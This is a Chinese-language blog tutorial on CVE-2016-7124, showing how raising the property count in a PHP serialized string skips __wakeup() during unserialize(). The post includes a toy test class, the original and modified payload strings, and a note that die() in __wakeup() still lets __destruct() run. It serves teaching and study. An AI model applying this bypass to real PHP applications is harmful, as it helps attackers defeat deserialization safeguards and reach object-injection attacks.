CVE-2016-7124——php绕过__wakeup()

发布于 2019-11-01  1207 次阅读


php反序列化绕过__wakeup(CVE-2016-7124)

漏洞原理

wakeup 触发于 unserilize() 调用之前, 当反序列化时的字符串所对应的对象的数目多于应有数目,wakeup() 的函数就不会被调用。

漏洞复现

看一段代码:

<?php
class test
{
    public $sex = 'boy';

    function __wakeup()
    {
        $this->sex = 'girl';
    }
    function __destruct()
    {
        echo $this->sex;
    }
}
echo "<pre>";
$cla = new test();
$res = serialize($cla);
echo $res;                  //O:4:"test":1:{s:3:"sex";s:3:"boy";}

file
可以看到,__wakeup()被调用,boy变成了girl


这里将payloadO:4:"test":1:{s:3:"sex";s:3:"boy";}改为O:4:"test":2:{s:3:"sex";s:3:"boy";}再来看一下效果:
file


成功绕过wakeup()

引发的思考

昨天有师傅问了一下,如果在__wakeup()里面调用die()会怎么样,我测试了一下,看代码:

<?php
class test
{
    public $sex = 'boy';

    function __wakeup()
    {
        die('nonono<br>');
        var_dump($this->sex);
    }
    function __destruct()
    {
        echo "name";
    }
}
@unserialize('O:4:"test":1:{s:3:"sex";i:1;}');
echo 'done';

file
可以看到,在反序列化的时候,调用了wakeup(),执行了die()并退出脚本,但是在退出脚本之前,还是会启动php垃圾收集器,销毁对象,执行了__destruct()方法,所以会输出name。之后的echo 'done';则不会执行。
这个地方可以用上述方法绕过:
file


既然热爱,就坚持下去。